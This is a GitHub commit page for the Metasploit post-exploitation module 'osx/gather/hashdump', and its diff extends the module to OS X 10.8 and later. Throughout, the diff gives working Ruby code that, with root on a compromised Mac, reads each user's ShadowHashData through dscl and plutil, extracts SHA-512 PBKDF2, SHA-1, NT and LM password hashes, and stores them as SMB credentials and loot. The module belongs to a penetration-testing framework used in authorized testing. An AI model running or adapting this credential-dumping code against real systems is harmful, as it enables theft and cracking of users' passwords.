Skip to content

Commit

Permalink
Land #2735, @jvennix-r7 support of 10.8+ on osx hashdump
Browse files Browse the repository at this point in the history
  • Loading branch information
jvazquez-r7 committed Dec 10, 2013
2 parents 70f74ab + 06b651d commit 2ef3caa
Showing 1 changed file with 173 additions and 175 deletions.
348 changes: 173 additions & 175 deletions modules/post/osx/gather/hashdump.rb
Original file line number Diff line number Diff line change
Expand Up @@ -6,9 +6,11 @@
require 'msf/core'
require 'rex'
require 'msf/core/auxiliary/report'

require 'rexml/document'

class Metasploit3 < Msf::Post
# set of accounts to ignore while pilfering data
OSX_IGNORE_ACCOUNTS = ["Shared", ".localized"]

include Msf::Post::File
include Msf::Auxiliary::Report
Expand All @@ -17,48 +19,157 @@ def initialize(info={})
super( update_info( info,
'Name' => 'OS X Gather Mac OS X Password Hash Collector',
'Description' => %q{
This module dumps SHA-1, LM and NT Hashes of Mac OS X Tiger, Leopard, Snow Leopard and Lion Systems.
This module dumps SHA-1, LM, NT, and SHA-512 Hashes on OSX. Supports
versions 10.3 to 10.9.
},
'License' => MSF_LICENSE,
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>','hammackj <jacob.hammack[at]hammackj.com>'],
'Author' => [
'Carlos Perez <carlos_perez[at]darkoperator.com>',
'hammackj <jacob.hammack[at]hammackj.com>',
'joev'
],
'Platform' => [ 'osx' ],
'SessionTypes' => [ "shell" ]
'SessionTypes' => [ 'shell' ]
))

register_options([
OptRegexp.new('MATCHUSER', [false,
'Only attempt to grab hashes for users whose name matches this regex'
])
])
end

# Run Method for when run command is issued
def run
case session.type
when /meterpreter/
host = session.sys.config.sysinfo["Computer"]
when /shell/
host = session.shell_command_token("hostname").chomp
end
print_status("Running module against #{host}")
running_root = check_root
if running_root
print_status("This session is running as root!")
fail_with("Insufficient Privileges: must be running as root to dump the hashes") unless root?

# build a single hash_file containing all users' hashes
hash_file = ''

# iterate over all users
users.each do |user|
next if datastore['MATCHUSER'].present? and datastore['MATCHUSER'] !~ user
print_status "Attempting to grab shadow for user #{user}..."
if gt_lion? # 10.8+
# pull the shadow from dscl
shadow_bytes = grab_shadow_blob(user)
next if shadow_bytes.blank?

# on 10.8+ ShadowHashData stores a binary plist inside of the user.plist
# Here we pull out the binary plist bytes and use built-in plutil to convert to xml
plist_bytes = shadow_bytes.split('').each_slice(2).map{|s| "\\x#{s[0]}#{s[1]}"}.join

# encode the bytes as \x hex string, print using bash's echo, and pass to plutil
shadow_plist = cmd_exec("/bin/bash -c 'echo -ne \"#{plist_bytes}\" | plutil -convert xml1 - -o -'")

# read the plaintext xml
shadow_xml = REXML::Document.new(shadow_plist)

# parse out the different parts of sha512pbkdf2
dict = shadow_xml.elements[1].elements[1].elements[2]
entropy = Rex::Text.to_hex(dict.elements[2].text.gsub(/\s+/, '').unpack('m*')[0], '')
iterations = dict.elements[4].text.gsub(/\s+/, '')
salt = Rex::Text.to_hex(dict.elements[6].text.gsub(/\s+/, '').unpack('m*')[0], '')

# PBKDF2 stored in <user, iterations, salt, entropy> format
decoded_hash = "#{user}:$ml$#{iterations}$#{salt}$#{entropy}"
print_good "SHA512:#{decoded_hash}"
hash_file << decoded_hash
elsif lion? # 10.7
# pull the shadow from dscl
shadow_bytes = grab_shadow_blob(user)
next if shadow_bytes.blank?

# on 10.7 the ShadowHashData is stored in plaintext
hash_decoded = shadow_bytes.upcase

# Check if NT HASH is present
if hash_decoded =~ /4F1010/
report_nt_hash(hash_decoded.scan(/^\w*4F1010(\w*)4F1044/)[0][0], user)
end

# slice out the sha512 hash + salt
sha512 = hash_decoded.scan(/^\w*4F1044(\w*)(080B190|080D101E31)/)[0][0]
print_status("SHA512:#{user}:#{sha512}")
hash_file << "#{user}:#{sha512}\n"
else # 10.6 and below
# On 10.6 and below, SHA-1 is used for encryption
guid = if gte_leopard?
cmd_exec("/usr/bin/dscl localhost -read /Search/Users/#{user} | grep GeneratedUID | cut -c15-").chomp
elsif lte_tiger?
cmd_exec("/usr/bin/niutil -readprop . /users/#{user} generateduid").chomp
end

# Extract the hashes
sha1_hash = cmd_exec("cat /var/db/shadow/hash/#{guid} | cut -c169-216").chomp
nt_hash = cmd_exec("cat /var/db/shadow/hash/#{guid} | cut -c1-32").chomp
lm_hash = cmd_exec("cat /var/db/shadow/hash/#{guid} | cut -c33-64").chomp

# Check that we have the hashes and save them
if sha1_hash !~ /0000000000000000000000000/
print_status("SHA1:#{user}:#{sha1_hash}")
hash_file << "#{user}:#{sha1_hash}"
end
if nt_hash !~ /000000000000000/
report_nt_hash(nt_hash, user)
end
if lm_hash !~ /0000000000000/
print_status("LM:#{user}:#{lm_hash}")
print_status("Credential saved in database.")
report_auth_info(
:host => host,
:port => 445,
:sname => 'smb',
:user => user,
:pass => "#{lm_hash}:",
:active => true
)
end
end
end
ver_num = get_ver
if running_root
dump_hash(ver_num)
# Save pwd file
upassf = if gt_lion?
store_loot("osx.hashes.sha512pbkdf2", "text/plain", session, hash_file,
"unshadowed_passwd.pwd", "OSX Unshadowed SHA-512PBKDF2 Password File")
elsif lion?
store_loot("osx.hashes.sha512", "text/plain", session, hash_file,
"unshadowed_passwd.pwd", "OSX Unshadowed SHA-512 Password File")
else
print_error("Insufficient Privileges you must be running as root to dump the hashes")
store_loot("osx.hashes.sha1", "text/plain", session, hash_file,
"unshadowed_passwd.pwd", "OSX Unshadowed SHA-1 Password File")
end
print_good("Unshadowed Password File: #{upassf}")
end

#parse the dslocal plist in lion
def read_ds_xml_plist(plist_content)
private

require "rexml/document"
# @return [Bool] system version is at least 10.5
def gte_leopard?
ver_num =~ /10\.(\d+)/ and $1.to_i >= 5
end

# @return [Bool] system version is at least 10.8
def gt_lion?
ver_num =~ /10\.(\d+)/ and $1.to_i >= 8
end

# @return [String] hostname
def host; session.session_host; end

# @return [Bool] system version is 10.7
def lion?
ver_num =~ /10\.(\d+)/ and $1.to_i == 7
end

# @return [Bool] system version is 10.4 or lower
def lte_tiger?
ver_num =~ /10\.(\d+)/ and $1.to_i <= 4
end

# parse the dslocal plist in lion
def read_ds_xml_plist(plist_content)
doc = REXML::Document.new(plist_content)
keys = []

doc.elements.each("plist/dict/key") do |element|
keys << element.text
end
doc.elements.each("plist/dict/key") { |n| keys << n.text }

fields = {}
i = 0
Expand All @@ -78,161 +189,48 @@ def read_ds_xml_plist(plist_content)
return fields
end

# Checks if running as root on the target
def check_root
# Get only the account ID
id = cmd_exec("/usr/bin/id","-ru").chomp

if id == "0"
return true
else
return false
end
# reports the NT hash info to metasploit backend
def report_nt_hash(nt_hash, user)
return unless nt_hash.present?
print_status("NT:#{user}:#{nt_hash}")
print_status("Credential saved in database.")
report_auth_info(
:host => host,
:port => 445,
:sname => 'smb',
:user => user,
:pass => "AAD3B435B51404EE:#{nt_hash}",
:active => true
)
end


# Enumerate the OS Version
def get_ver
# Get the OS Version
osx_ver_num = cmd_exec("/usr/bin/sw_vers", "-productVersion").chomp

return osx_ver_num
# Checks if running as root on the target
# @return [Bool] current user is root
def root?
whoami == 'root'
end

# Dump SHA1 Hashes used by OSX, must be root to get the Hashes
def dump_hash(ver_num)
print_status("Dumping Hashes")
users = []
nt_hash = nil
host = session.session_host

# Path to files with hashes
sha1_file = ""

# Check if system is Lion if not continue
if ver_num =~ /10\.(7)/

hash_decoded = ""

# get list of profiles present in the box
profiles = cmd_exec("ls /private/var/db/dslocal/nodes/Default/users").split("\n")

if profiles
profiles.each do |p|
# Skip none user profiles
next if p =~ /^_/
next if p =~ /^daemon|root|nobody/

# Turn profile plist in to XML format
cmd_exec("cp","/private/var/db/dslocal/nodes/Default/users/#{p.chomp} /tmp/")
cmd_exec("plutil","-convert xml1 /tmp/#{p.chomp}")
file = cmd_exec("cat","/tmp/#{p.chomp}")

# Clean up using secure delete overwriting and zeroing blocks
cmd_exec("/usr/bin/srm","-m -z /tmp/#{p.chomp}")

# Process XML Plist into a usable hash
plist_values = read_ds_xml_plist(file)

# Extract the shadow hash data, decode it and format it
plist_values['ShadowHashData'].join("").unpack('m')[0].each_byte do |b|
hash_decoded << sprintf("%02X", b)
end
user = plist_values['name'].join("")

# Check if NT HASH is present
if hash_decoded =~ /4F1010/
nt_hash = hash_decoded.scan(/^\w*4F1010(\w*)4F1044/)[0][0]
end

# Carve out the SHA512 Hash, the first 4 bytes is the salt
sha512 = hash_decoded.scan(/^\w*4F1044(\w*)(080B190|080D101E31)/)[0][0]

print_status("SHA512:#{user}:#{sha512}")
sha1_file << "#{user}:#{sha512}\n"

# Reset hash value
sha512 = ""

if nt_hash
print_status("NT:#{user}:#{nt_hash}")
print_status("Credential saved in database.")
report_auth_info(
:host => host,
:port => 445,
:sname => 'smb',
:user => user,
:pass => "AAD3B435B51404EE:#{nt_hash}",
:active => true
)

# Reset hash value
nt_hash = nil
end
# Reset hash value
hash_decoded = ""
end
end
# Save pwd file
upassf = store_loot("osx.hashes.sha512", "text/plain", session, sha1_file, "unshadowed_passwd.pwd", "OSX Unshadowed SHA512 Password File")
print_good("Unshadowed Password File: #{upassf}")

# If system was lion and it was processed nothing more to do
return
end

users_folder = cmd_exec("/bin/ls","/Users")

users_folder.each_line do |u|
next if u.chomp =~ /Shared|\.localized/
users << u.chomp
end
# Process each user
users.each do |user|
if ver_num =~ /10\.(6|5)/
guid = cmd_exec("/usr/bin/dscl", "localhost -read /Search/Users/#{user} | grep GeneratedUID | cut -c15-").chomp
elsif ver_num =~ /10\.(4|3)/
guid = cmd_exec("/usr/bin/niutil","-readprop . /users/#{user} generateduid").chomp
end
# @return [String] containing blob for ShadowHashData in user's plist
# @return [nil] if shadow is invalid
def grab_shadow_blob(user)
shadow_bytes = cmd_exec("dscl . read /Users/#{user} dsAttrTypeNative:ShadowHashData").gsub(/\s+/, '')
return nil unless shadow_bytes.start_with? 'dsAttrTypeNative:ShadowHashData:'
# strip the other bytes
shadow_bytes.sub!(/^dsAttrTypeNative:ShadowHashData:/, '')
end

# Extract the hashes
sha1_hash = cmd_exec("/bin/cat", "/var/db/shadow/hash/#{guid} | cut -c169-216").chomp
nt_hash = cmd_exec("/bin/cat", "/var/db/shadow/hash/#{guid} | cut -c1-32").chomp
lm_hash = cmd_exec("/bin/cat", "/var/db/shadow/hash/#{guid} | cut -c33-64").chomp
# @return [Array<String>] list of user names
def users
@users ||= cmd_exec("/bin/ls /Users").each_line.collect.map(&:chomp) - OSX_IGNORE_ACCOUNTS
end

# Check that we have the hashes and save them
if sha1_hash !~ /00000000000000000000000000000000/
print_status("SHA1:#{user}:#{sha1_hash}")
sha1_file << "#{user}:#{sha1_hash}"
end
# @return [String] version string (e.g. 10.8.5)
def ver_num
@version ||= cmd_exec("/usr/bin/sw_vers -productVersion").chomp
end

if nt_hash !~ /000000000000000/
print_status("NT:#{user}:#{nt_hash}")
print_status("Credential saved in database.")
report_auth_info(
:host => host,
:port => 445,
:sname => 'smb',
:user => user,
:pass => "AAD3B435B51404EE:#{nt_hash}",
:active => true
)
end
if lm_hash !~ /0000000000000/
print_status("LM:#{user}:#{lm_hash}")
print_status("Credential saved in database.")
report_auth_info(
:host => host,
:port => 445,
:sname => 'smb',
:user => user,
:pass => "#{lm_hash}:",
:active => true
)
end
end
# Save pwd file
upassf = store_loot("osx.hashes.sha1", "text/plain", session, sha1_file, "unshadowed_passwd.pwd", "OSX Unshadowed SHA1 Password File")
print_good("Unshadowed Password File: #{upassf}")
# @return [String] name of current user
def whoami
@whoami ||= cmd_exec('/usr/bin/whoami').chomp
end
end

0 comments on commit 2ef3caa

Please sign in to comment.